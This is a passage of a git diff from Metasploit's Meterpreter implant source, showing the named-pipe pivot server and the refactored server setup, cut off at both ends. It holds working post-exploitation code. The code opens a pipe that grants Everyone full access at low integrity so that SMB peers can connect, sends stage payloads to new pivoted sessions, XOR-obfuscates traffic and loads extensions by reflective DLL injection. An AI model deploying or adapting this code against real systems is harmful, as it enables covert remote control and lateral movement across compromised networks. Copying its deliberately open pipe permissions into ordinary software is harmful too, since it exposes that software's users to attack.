//WriteFile(ctx->pipe, raw, min(rawLength - bytesWritten, PIPE_BUFFER_SIZE), NULL, &ctx->write_overlap); + + // blocking here is just fine, it's the reads we care about + if (GetOverlappedResult(ctx->pipe, &ctx->write_overlap, &byteCount, TRUE)) + { + dprintf("[NP-SERVER] Wrote %u", byteCount); + bytesWritten += byteCount; + } + else + { + BREAK_ON_ERROR("[NP-SERVER] failed to do the write"); + } + dprintf("[NP-SERVER] left to go: %u", rawLength - bytesWritten); + } + + dprintf("[NP SERVER] server write. finished. dwResult=%d, written=%d", dwResult, bytesWritten); + + lock_release(ctx->write_lock); + + return dwResult; +} + +VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa) +{ + // Start with the DACL (perhaps try the NULL sid if it doesn't work?) + SID_IDENTIFIER_AUTHORITY sidWorld = SECURITY_WORLD_SID_AUTHORITY; + PSID sidEveryone = NULL; + if (!AllocateAndInitializeSid(&sidWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &sidEveryone)) + { + dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); + return; + } + + dprintf("[NP-SERVER] sidEveryone: %p", sidEveryone); + + EXPLICIT_ACCESSW ea = { 0 }; + ea.grfAccessPermissions = SPECIFIC_RIGHTS_ALL | STANDARD_RIGHTS_ALL; + ea.grfAccessMode = SET_ACCESS; + ea.grfInheritance = NO_INHERITANCE; + ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ea.Trustee.ptstrName = (LPWSTR)sidEveryone; + + //PACL dacl = (PACL)LocalAlloc(LPTR, 256); + PACL dacl = NULL; + DWORD result = SetEntriesInAclW(1, &ea, NULL, &dacl); + if (result != ERROR_SUCCESS) + { + dprintf("[NP-SERVER] SetEntriesInAclW failed: %u", result); + } + dprintf("[NP-SERVER] DACL: %p", dacl); + + // set up the sacl + SID_IDENTIFIER_AUTHORITY sidLabel = SECURITY_MANDATORY_LABEL_AUTHORITY; + PSID sidLow = NULL; + if (!AllocateAndInitializeSid(&sidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &sidLow)) + { + dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); + } + dprintf("[NP-SERVER] sidLow: %p", dacl); + + PACL sacl = (PACL)LocalAlloc(LPTR, 256); + if (!InitializeAcl(sacl, 256, ACL_REVISION_DS)) + { + dprintf("[NP-SERVER] InitializeAcl failed: %u", GetLastError()); + } + + if (!AddMandatoryAce(sacl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, sidLow)) + { + dprintf("[NP-SERVER] AddMandatoryAce failed: %u", GetLastError()); + } + + // now build the descriptor + PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); + if (!InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION)) + { + dprintf("[NP-SERVER] InitializeSecurityDescriptor failed: %u", GetLastError()); + } + + // add the dacl + if (!SetSecurityDescriptorDacl(sd, TRUE, dacl, FALSE)) + { + dprintf("[NP-SERVER] SetSecurityDescriptorDacl failed: %u", GetLastError()); + } + + // now the sacl + if (!SetSecurityDescriptorSacl(sd, TRUE, sacl, FALSE)) + { + dprintf("[NP-SERVER] SetSecurityDescriptorSacl failed: %u", GetLastError()); + } + + psa->nLength = sizeof(SECURITY_ATTRIBUTES); + psa->bInheritHandle = FALSE; + psa->lpSecurityDescriptor = sd; +} + +DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled) +{ + HANDLE accessToken; + TOKEN_PRIVILEGES tp; + TOKEN_PRIVILEGES prevTp; + LUID luid; + DWORD tpLen; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) + { + dprintf("[NP-PRIV] Couldn't open process token: %u (%x)", GetLastError(), GetLastError()); + return GetLastError(); + } + + if (!LookupPrivilegeValueW(NULL, privName, &luid)) + { + dprintf("[NP-PRIV] Couldn't look up the value: %u (%x)", GetLastError(), GetLastError()); + return GetLastError(); + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0; + + if (!AdjustTokenPrivileges(accessToken, FALSE, &tp, sizeof(tp), &prevTp, &tpLen)) + { + dprintf("[NP-PRIV] Couldn't adjust the token privs: %u (%x)", GetLastError(), GetLastError()); + return GetLastError(); + } + + *wasEnabled = (prevTp.Privileges[0].Attributes & SE_PRIVILEGE_ENABLED) == SE_PRIVILEGE_ENABLED ? TRUE : FALSE; + dprintf("[NP-PRIV] the %S token was %senabled, and is now %s", privName, *wasEnabled ? "" : "not ", enable ? "enabled" : "disabled"); + + CloseHandle(accessToken); + + return ERROR_SUCCESS; +} + +DWORD create_pipe_server_instance(NamedPipeContext* ctx) +{ + DWORD dwResult = ERROR_SUCCESS; + + do + { + dprintf("[NP-SERVER] Creating new server instance of %s", ctx->name); + + BOOL wasEnabled; + DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled); + + if (toggleResult == ERROR_SUCCESS) + { + // set up a session that let's anyone with SMB access connect + SECURITY_ATTRIBUTES sa = { 0 }; + create_pipe_security_attributes(&sa); + ctx->pipe = CreateNamedPipeA(ctx->name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER_SIZE, PIPE_BUFFER_SIZE, 0, &sa); + + if (wasEnabled == FALSE) + { + toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled); + } + } + + if (ctx->pipe == INVALID_HANDLE_VALUE) + { + // Fallback on a pipe with simpler security attributes + ctx->pipe = CreateNamedPipeA(ctx->name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER_SIZE, PIPE_BUFFER_SIZE, 0, NULL); + } + + if (ctx->pipe == INVALID_HANDLE_VALUE) + { + BREAK_ON_ERROR("[NP-SERVER] Failed to create named pipe."); + } + + dprintf("[NP-SERVER] Creating the handler event"); + // This must be signalled, so that the connect event kicks off on the new thread. + ctx->read_overlap.hEvent = CreateEvent(NULL, TRUE, TRUE, NULL); + if (ctx->read_overlap.hEvent == NULL) + { + BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); + } + + // this should not be signalled as it's just for handling named pipe writes. + ctx->write_overlap.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (ctx->write_overlap.hEvent == NULL) + { + BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); + } + + dprintf("[NP-SERVER] Inserting the named pipe schedule entry"); + scheduler_insert_waitable(ctx->read_overlap.hEvent, ctx, NULL, server_notify, server_destroy); + } while (0); + + return dwResult; +} + +/*! + * @brief Deallocates and cleans up the attributes of a named pipe server context. + * @param ctx Pointer to the context to free. + */ +static VOID free_server_context(NamedPipeContext* ctx) +{ + do + { + if (!ctx) + { + break; + } + + dprintf("[NP-SERVER] free_server_context. ctx=0x%08X", ctx); + + dprintf("[NP-SERVER] freeing up pipe handle 0x%x", ctx->pipe); + if (ctx->pipe != INVALID_HANDLE_VALUE && ctx->pipe != INVALID_HANDLE_VALUE) + { + CloseHandle(ctx->pipe); + ctx->pipe = INVALID_HANDLE_VALUE; + } + + if (ctx->read_overlap.hEvent != NULL) + { + dprintf("[NP-SERVER] free_server_context. signaling the thread to stop"); + scheduler_signal_waitable(ctx->read_overlap.hEvent, SchedulerStop); + ctx->read_overlap.hEvent = NULL; + } + + if (ctx->write_overlap.hEvent != NULL) + { + CloseHandle(ctx->write_overlap.hEvent); + ctx->write_overlap.hEvent = NULL; + } + + SAFE_FREE(ctx->packet_buffer); + + free(ctx); + + } while (0); +} + +/*! + * @brief Notify routine for a named pipe server channel to pick up its new client connections.. + * @param remote Pointer to the remote instance. + * @param serverCtx Pointer to the named pipe server context. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Notification completed successfully. + */ +static DWORD server_notify(Remote* remote, LPVOID entryContext, LPVOID threadContext) +{ + DWORD dwResult = ERROR_SUCCESS; + Packet* request = NULL; + NamedPipeContext* serverCtx = (NamedPipeContext*)entryContext; + BOOL performRead = FALSE; + + do + { + if (!serverCtx) + { + BREAK_WITH_ERROR("[NP-SERVER] server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE); + } + + if (serverCtx->pipe == INVALID_HANDLE_VALUE) + { + BREAK_WITH_ERROR("[NP-SERVER] pipe isn't present, we might be shutting down.", ERROR_INVALID_HANDLE); + } + + if (!serverCtx->connecting) + { + serverCtx->connecting = TRUE; + dprintf("[NP-SERVER] Connecting to the named pipe async"); + ConnectNamedPipe(serverCtx->pipe, &serverCtx->read_overlap); + + dwResult = GetLastError(); + dprintf("[NP-SERVER] checking the result of connect %u 0x%x", dwResult, dwResult); + if (dwResult == ERROR_IO_PENDING) + { + dprintf("[NP-SERVER] still waiting for an overlapped connection"); + break; + } + else if (dwResult == ERROR_PIPE_LISTENING) + { + dprintf("[NP-SERVER] client has connected apparently"); + serverCtx->established = TRUE; + // no break here, we want to continue + } + else + { + BREAK_WITH_ERROR("[NP-SERVER] Failed to connect to the named pipe", dwResult); + } + dwResult = ERROR_SUCCESS; + } + + DWORD bytesProcessed = 0; + dprintf("[NP-SERVER] Checking the overlapped result"); + if (!GetOverlappedResult(serverCtx->pipe, &serverCtx->read_overlap, &bytesProcessed, FALSE)) + { + dwResult = GetLastError(); + dprintf("[NP-SERVER] server_notify. unable to get the result, %u", dwResult); + + if (dwResult == ERROR_IO_INCOMPLETE) + { + dprintf("[NP-SERVER] still waiting for something to happen on the pipe"); + } + else if (dwResult == ERROR_BROKEN_PIPE) + { + dprintf("[NP-SERVER] the client appears to have bailed out, disconnecting..."); + // Reset the read event so that our schedular loop witll exit properly + ResetEvent(serverCtx->read_overlap.hEvent); + + // Prepare the notification packet for dispatching + Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, "core_pivot_session_died"); + packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&serverCtx->pivot_session_guid, sizeof(serverCtx->pivot_session_guid)); + + // Clean up the pivot context + PivotContext* pivotCtx = pivot_tree_remove(remote->pivot_sessions, (LPBYTE)&serverCtx->pivot_session_guid); +#ifdef DEBUGTRACE + dprintf("[PIVOTTREE] Pivot sessions (after one removed)"); + dbgprint_pivot_tree(remote->pivot_sessions); +#endif + SAFE_FREE(pivotCtx); + + // Clean up all the named pipe context stuff. + terminate_pipe(serverCtx); + + // Inform MSF of the dead session + packet_transmit(serverCtx->remote, notification, NULL); + + return ERROR_BROKEN_PIPE; + } + break; + } + + // spin up a new named pipe server instance to handle the next connection if this + // connection is new. + dprintf("[NP-SERVER] Apparently we have a result! With %u bytes", bytesProcessed); + if (!serverCtx->established) + { + // this is a connect, so tell MSF about it. + dprintf("[NP-SERVER] This appears to be a new connection, setting up context."); + + // Connection received, here we're going to create a new named pipe handle so that + // other connections can come in on it. We'll assume that it if worked once, it + // will work again this time + NamedPipeContext* nextCtx = (NamedPipeContext*)calloc(1, sizeof(NamedPipeContext)); + + // copy the relevant content over. + nextCtx->pipe = INVALID_HANDLE_VALUE; + nextCtx->remote = serverCtx->remote; + nextCtx->stage_data = serverCtx->stage_data; + nextCtx->stage_data_size = serverCtx->stage_data_size; + nextCtx->write_lock = lock_create(); + memcpy_s(&nextCtx->pivot_id, sizeof(nextCtx->pivot_id), &serverCtx->pivot_id, sizeof(nextCtx->pivot_id)); + memcpy_s(&nextCtx->name, PIPE_NAME_SIZE, &serverCtx->name, PIPE_NAME_SIZE); + + // create a new pipe for the next connection + DWORD result = create_pipe_server_instance(nextCtx); + if (result != ERROR_SUCCESS) + { + dprintf("[NP-SERVER] failed to create the pipe server instance: %u", result); + free_server_context(nextCtx); + } + + serverCtx->established = TRUE; + + // The current listener cotnext in the listeners tree points to the server instance that has now + // become a client instance due to the new connection. Therefore we need to update the pivot tree context + // to point to the new listener on the named pipe. + PivotContext* listenerCtx = pivot_tree_find(remote->pivot_listeners, (LPBYTE)&serverCtx->pivot_id); + if (listenerCtx != NULL) + { + dprintf("[NP-SERVER] Updating the listener context in the pivot tree"); + listenerCtx->state = nextCtx; + } + + // Time to stage the data + if (serverCtx->stage_data && serverCtx->stage_data_size > 0) + { + dprintf("[NP-SERVER] Sending stage on new connection"); + // send the stage length + named_pipe_write_raw(serverCtx, (LPBYTE)&serverCtx->stage_data_size, sizeof(serverCtx->stage_data_size)); + + // send the stage + named_pipe_write_raw(serverCtx, serverCtx->stage_data, serverCtx->stage_data_size); + + // to "hand over" the stage data, set the existing pointer to NULL so that things don't get freed + // when they shouldn't be. + serverCtx->stage_data = NULL; + } + + // We need to figure out if this is a new session without a session GUID or if it's an old + // session that's come back out of nowhere (transport switching, sleeping, etc). Create a packet + // that will request the guid, and track a random request ID to find the response later on. + dprintf("[NP-SERVER] Creating the guid request packet"); + Packet* getGuidPacket = packet_create(PACKET_TLV_TYPE_REQUEST, "core_get_session_guid"); + dprintf("[NP-SERVER] adding the request ID to the guid request packet"); + packet_add_request_id(getGuidPacket); + CHAR* requestId = packet_get_tlv_value_string(getGuidPacket, TLV_TYPE_REQUEST_ID); + dprintf("[NP-SERVER] Copying the request ID from the packet to the context"); + memcpy(serverCtx->guid_request_id, requestId, sizeof(serverCtx->guid_request_id)); + + // prepare the packet buffer for sending. + DWORD packetLength = getGuidPacket->payloadLength + sizeof(PacketHeader); + dprintf("[NP-SERVER] We think the packet length is %u (0x%x)", packetLength, packetLength); + LPBYTE packetBuffer = (LPBYTE)malloc(packetLength); + + dprintf("[NP-SERVER] Doing the XOR thing on the guid request packet"); + rand_xor_key(getGuidPacket->header.xor_key); + memcpy(packetBuffer, &getGuidPacket->header, sizeof(getGuidPacket->header)); + memcpy(packetBuffer + sizeof(getGuidPacket->header), getGuidPacket->payload, packetLength - sizeof(getGuidPacket->header)); + + // we don't support encryption at this point, but we do want to do the XOR thing! + xor_bytes(getGuidPacket->header.xor_key, packetBuffer + sizeof(getGuidPacket->header.xor_key), packetLength - sizeof(getGuidPacket->header.xor_key)); + + dprintf("[NP-SERVER] Sending the request packet to the new pivoted session"); + // Send the packet down to the newly created meterpreter session on the named pipe + named_pipe_write_raw(serverCtx, packetBuffer, packetLength); + + dprintf("[NP-SERVER] Freeing up the packet buffer"); + free(packetBuffer); + dprintf("[NP-SERVER] Done!"); + } + + if (bytesProcessed > 0) + { + dprintf("[NP-SERVER] read & sending bytes %u", bytesProcessed); + read_pipe_to_packet(serverCtx, serverCtx->read_buffer, bytesProcessed); + } + + performRead = TRUE; + } while (0); + + if (serverCtx->read_overlap.hEvent != NULL) + { + dprintf("[NP-SERVER] Resetting the event handle"); + ResetEvent(serverCtx->read_overlap.hEvent); + } + + // this has to be done after the signal is reset, otherwise ... STRANGE THINGS HAPPEN! + if (performRead) + { + // prepare for reading + serverCtx->read_overlap.Offset = 0; + serverCtx->read_overlap.OffsetHigh = 0; + + // read the data from the pipe, we're async, so the return value of the function is meaningless. + dprintf("[NP-SERVER] kicking off another read operation..."); + ReadFile(serverCtx->pipe, serverCtx->read_buffer, PIPE_BUFFER_SIZE, NULL, &serverCtx->read_overlap); + } + + return dwResult; +} + +/*! + * @brief Allocates a streaming named pipe server channel. + * @param remote Pointer to the remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Opening the server channel completed successfully. + */ +DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet) +{ + DWORD dwResult = ERROR_SUCCESS; + NamedPipeContext* ctx = NULL; + Packet* response = NULL; + char* namedPipeName = NULL; + char* namedPipeServer = NULL; + + do + { + response = packet_create_response(packet); + if (!response) + { + BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); + } + + ctx = (NamedPipeContext *)calloc(1, sizeof(NamedPipeContext)); + if (!ctx) + { + BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY); + } + + ctx->remote = remote; + ctx->write_lock = lock_create(); + + namedPipeName = packet_get_tlv_value_string(packet, TLV_TYPE_PIVOT_NAMED_PIPE_NAME); + if (!namedPipeName) + { + BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. namedPipeName == NULL", ERROR_INVALID_PARAMETER); + } + + if (strchr(namedPipeName, '\\') != NULL) + { + BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. namedPipeName contains backslash (invalid)", ERROR_INVALID_PARAMETER); + } + + //namedPipeServer = packet_get_tlv_value_string(packet, TLV_TYPE_NAMED_PIPE_SERVER); + if (namedPipeServer == NULL) + { + namedPipeServer = "."; + } + + LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); + if (pivotId != NULL) + { + memcpy(&ctx->pivot_id, pivotId, sizeof(ctx->pivot_id)); + } + + LPVOID stageData = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_STAGE_DATA); + ctx->stage_data_size = packet_get_tlv_value_uint(packet, TLV_TYPE_PIVOT_STAGE_DATA_SIZE); + + if (stageData && ctx->stage_data_size > 0) + { + dprintf("[NP-SEVER] stage received, size is %u (%x)", ctx->stage_data_size, ctx->stage_data_size); + ctx->stage_data = (LPVOID)malloc(ctx->stage_data_size); + memcpy(ctx->stage_data, stageData, ctx->stage_data_size); + } + + // Default to invalid handle. + ctx->pipe = INVALID_HANDLE_VALUE; + + _snprintf_s(ctx->name, PIPE_NAME_SIZE, PIPE_NAME_SIZE - 1, "\\\\%s\\pipe\\%s", namedPipeServer, namedPipeName); + + dwResult = create_pipe_server_instance(ctx); + + dprintf("[NP-SERVER] creation of the named pipe returned: %d 0x%x", dwResult, dwResult); + + if (dwResult == ERROR_SUCCESS) + { + dprintf("[NP-SERVER] request_net_named_pipe_server_channel_open. named pipe server %s", namedPipeName); + PivotContext* pivotCtx = (PivotContext*)calloc(1, sizeof(PivotContext)); + pivotCtx->state = ctx; + pivotCtx->remove = remove_listener; + pivot_tree_add(remote->pivot_listeners, pivotId, pivotCtx); +#ifdef DEBUGTRACE + dprintf("[PIVOTTREE] Pivot listeners (after new one added)"); + dbgprint_pivot_tree(remote->pivot_listeners); +#endif + } + + } while (0); + + packet_transmit_response(dwResult, remote, response); + + do + { + if (dwResult == ERROR_SUCCESS) + { + break; + } + + dprintf("[NP-SERVER] Error encountered %u 0x%x", dwResult, dwResult); + + if (!ctx) + { + break; + } + + if (ctx->write_lock != NULL) + { + lock_destroy(ctx->write_lock); + } + + if (ctx->read_overlap.hEvent != NULL) + { + dprintf("[NP-SERVER] Destroying wait handle"); + CloseHandle(ctx->read_overlap.hEvent); + } + + if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE) + { + dprintf("[NP-SERVER] Destroying pipe"); + CloseHandle(ctx->pipe); + } + + free(ctx); + + } while (0); + + return dwResult; } \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_pivot_named_pipe.h b/c/meterpreter/source/metsrv/server_pivot_named_pipe.h old mode 100755 new mode 100644 similarity index 56% rename from c/meterpreter/source/server/win/server_pivot_named_pipe.h rename to c/meterpreter/source/metsrv/server_pivot_named_pipe.h index f4d9fb65..2e7dad84 --- a/c/meterpreter/source/server/win/server_pivot_named_pipe.h +++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.h @@ -1,8 +1,8 @@ -#ifndef _METERPRETER_SERVER_PIVOT_NAMED_PIPE -#define _METERPRETER_SERVER_PIVOT_NAMED_PIPE - +#ifndef _METERPRETER_METSRV_PIVOT_NAMED_PIPE +#define _METERPRETER_METSRV_PIVOT_NAMED_PIPE + typedef struct _NamedPipeContext NamedPipeContext; - -DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet); + +DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet); #endif \ No newline at end of file diff --git a/c/meterpreter/source/server/server_setup_win.c b/c/meterpreter/source/metsrv/server_setup.c old mode 100755 new mode 100644 similarity index 93% rename from c/meterpreter/source/server/server_setup_win.c rename to c/meterpreter/source/metsrv/server_setup.c index af9e3063..9bc38698 --- a/c/meterpreter/source/server/server_setup_win.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -1,526 +1,515 @@ -/*! - * @file server_setup.c - */ -#include "metsrv.h" -#include "../../common/common.h" -#include - -#include "win/server_transport_winhttp.h" -#include "win/server_transport_tcp.h" -#include "win/server_transport_named_pipe.h" -#include "../../common/packet_encryption.h" - -extern Command* extensionCommands; - -// include the Reflectiveloader() function -#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" - -int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep) -{ - return EXCEPTION_EXECUTE_HANDLER; -} - -#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); } - -/*! - * @brief Get the session id that this meterpreter server is running in. - * @return ID of the current server session. - */ -DWORD server_sessionid() -{ - typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); - - static PROCESSIDTOSESSIONID processIdToSessionId = NULL; - HMODULE kernel = NULL; - DWORD sessionId = 0; - - do - { - if (!processIdToSessionId) - { - kernel = LoadLibraryA("kernel32.dll"); - if (kernel) - { - processIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(kernel, "ProcessIdToSessionId"); - } - } - - if (!processIdToSessionId) - { - break; - } - - if (!processIdToSessionId(GetCurrentProcessId(), &sessionId)) - { - sessionId = -1; - } - - } while( 0 ); - - if (kernel) - { - FreeLibrary(kernel); - } - - return sessionId; -} - -/*! - * @brief Load any stageless extensions that might be present in the current payload. - * @param remote Pointer to the remote instance. +/*! + * @file server_setup.c + */ +#include "metsrv.h" +#include + +#include "server_transport_winhttp.h" +#include "server_transport_tcp.h" +#include "server_transport_named_pipe.h" +#include "packet_encryption.h" + +extern Command* extensionCommands; + +int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep) +{ + return EXCEPTION_EXECUTE_HANDLER; +} + +/*! + * @brief Get the session id that this meterpreter server is running in. + * @return ID of the current server session. + */ +DWORD server_sessionid() +{ + typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); + + static PROCESSIDTOSESSIONID processIdToSessionId = NULL; + HMODULE kernel = NULL; + DWORD sessionId = 0; + + do + { + if (!processIdToSessionId) + { + kernel = LoadLibraryA("kernel32.dll"); + if (kernel) + { + processIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(kernel, "ProcessIdToSessionId"); + } + } + + if (!processIdToSessionId) + { + break; + } + + if (!processIdToSessionId(GetCurrentProcessId(), &sessionId)) + { + sessionId = -1; + } + + } while( 0 ); + + if (kernel) + { + FreeLibrary(kernel); + } + + return sessionId; +} + +/*! + * @brief Load any stageless extensions that might be present in the current payload. + * @param remote Pointer to the remote instance. * @param fd The socket descriptor passed to metsrv during intialisation. - * @return Pointer to the end of the configuration. - */ -LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions) -{ - while (stagelessExtensions->size > 0) - { - dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); - HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size); - load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); - stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); - } - - dprintf("[SERVER] All stageless extensions loaded"); - - // once we have reached the end, we may have extension initializers - LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size); - - while (*initData != '\0') - { - const char* extensionName = (const char*)initData; - LPBYTE data = initData + strlen(extensionName) + 1 + sizeof(DWORD); - DWORD dataSize = *(DWORD*)(data - sizeof(DWORD)); - dprintf("[STAGELESS] init data at %p, name %s, size is %d", extensionName, extensionName, dataSize); - stagelessinit_extension(extensionName, data, dataSize); - initData = data + dataSize; - } - - dprintf("[SERVER] All stageless extensions initialised"); - return initData; -} - -static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size) -{ - Transport* transport = NULL; - dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url); - dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout); - dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total); - dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait); - - if (wcsncmp(transportCommon->url, L"tcp", 3) == 0) - { - transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size); - } - else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0) - { - transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size); - } - else - { - transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size); - } - - if (transport == NULL) - { - // something went wrong - return NULL; - } - - // always insert at the tail. The first transport will be the one that kicked everything off - if (remote->transport == NULL) - { - // point to itself, as this is the first transport. - transport->next_transport = transport->prev_transport = transport; - remote->transport = transport; - } - else - { - transport->prev_transport = remote->transport->prev_transport; - transport->next_transport = remote->transport; - - remote->transport->prev_transport->next_transport = transport; - remote->transport->prev_transport = transport; - } - - return transport; -} - -static void append_transport(Transport** list, Transport* newTransport) -{ - if (*list == NULL) - { - // point to itself! - newTransport->next_transport = newTransport->prev_transport = newTransport; - *list = newTransport; - } - else - { - // always insert at the tail - newTransport->prev_transport = (*list)->prev_transport; - newTransport->next_transport = (*list); - - (*list)->prev_transport->next_transport = newTransport; - (*list)->prev_transport = newTransport; - } -} - -static void remove_transport(Remote* remote, Transport* oldTransport) -{ - // if we point to ourself, then we're the last one - if (remote->transport->next_transport == remote->transport) - { - remote->transport = NULL; - } - else - { - // if we're removing the current one we need to move the pointer to the - // next one in the list. - if (remote->transport == oldTransport) - { - remote->transport = remote->transport->next_transport; - } - - oldTransport->prev_transport->next_transport = oldTransport->next_transport; - oldTransport->next_transport->prev_transport = oldTransport->prev_transport; - } - - oldTransport->transport_destroy(oldTransport); -} - -static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize) -{ - DWORD totalSize = 0; - MetsrvTransportCommon* current = transports; - - // The first part of the transport is always the URL, if it's NULL, we are done. - while (current->url[0] != 0) - { - DWORD size; - if (create_transport(remote, current, &size) != NULL) - { - dprintf("[TRANS] transport created of size %u", size); - totalSize += size; - - // go to the next transport based on the size of the existing one. - current = (MetsrvTransportCommon*)((LPBYTE)current + size); - } - else - { - // This is not good - return FALSE; - } - } - - // account for the last terminating NULL wchar - *parsedSize = totalSize + sizeof(wchar_t); - - return TRUE; -} - -static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size) -{ - // This function is really only used for migration purposes. - DWORD s = sizeof(MetsrvSession); - MetsrvSession* sess = (MetsrvSession*)malloc(s); - ZeroMemory(sess, s); - - dprintf("[CONFIG] preparing the configuration"); - - // start by preparing the session, using the given UUID if specified, otherwise using - // the existing session UUID - memcpy(sess->uuid, uuid == NULL ? remote->orig_config->session.uuid : uuid, UUID_SIZE); - // session GUID should persist across migration - memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID)); - sess->expiry = remote->sess_expiry_end - current_unix_timestamp(); - sess->exit_func = EXITFUNC_THREAD; // migration we default to this. - - Transport* current = remote->transport; - Transport* t = remote->transport; - do - { - // extend memory appropriately - DWORD neededSize = t->get_config_size(t); - - dprintf("[CONFIG] Allocating %u bytes for transport, total of %u bytes", neededSize, s + neededSize); - - sess = (MetsrvSession*)realloc(sess, s + neededSize); - - // load up the transport specifics - LPBYTE target = (LPBYTE)sess + s; - - ZeroMemory(target, neededSize); - s += neededSize; - - if (t == current && t->get_handle != NULL) - { - sess->comms_handle.handle = t->get_handle(t); - dprintf("[CONFIG] Comms handle set to %p", (UINT_PTR)sess->comms_handle.handle); - } - - switch (t->type) - { - case METERPRETER_TRANSPORT_TCP: - { - transport_write_tcp_config(t, (MetsrvTransportTcp*)target); - break; - } - case METERPRETER_TRANSPORT_PIPE: - { - transport_write_named_pipe_config(t, (MetsrvTransportNamedPipe*)target); - break; - } - case METERPRETER_TRANSPORT_HTTP: - case METERPRETER_TRANSPORT_HTTPS: - { - transport_write_http_config(t, (MetsrvTransportHttp*)target); - break; - } - } - - t = t->next_transport; - } while (t != current); - - // account for the last terminating NULL wchar so that the target knows the list has reached the end, - // as well as the end of the extensions list. We may support wiring up existing extensions later on. - DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD); - sess = (MetsrvSession*)realloc(sess, s + terminatorSize); - ZeroMemory((LPBYTE)sess + s, terminatorSize); - s += terminatorSize; - - // hand off the data - dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess); - *size = s; - *config = (MetsrvConfig*)sess; -} - -/*! - * @brief Setup and run the server. This is called from Init via the loader. - * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. - * @return Meterpreter exit code (ignored by the caller). - */ -DWORD server_setup(MetsrvConfig* config) -{ - THREAD* serverThread = NULL; - Remote* remote = NULL; - char stationName[256] = { 0 }; - char desktopName[256] = { 0 }; - DWORD res = 0; - - dprintf("[SERVER] Initializing from configuration: 0x%p", config); - dprintf("[SESSION] Comms handle: 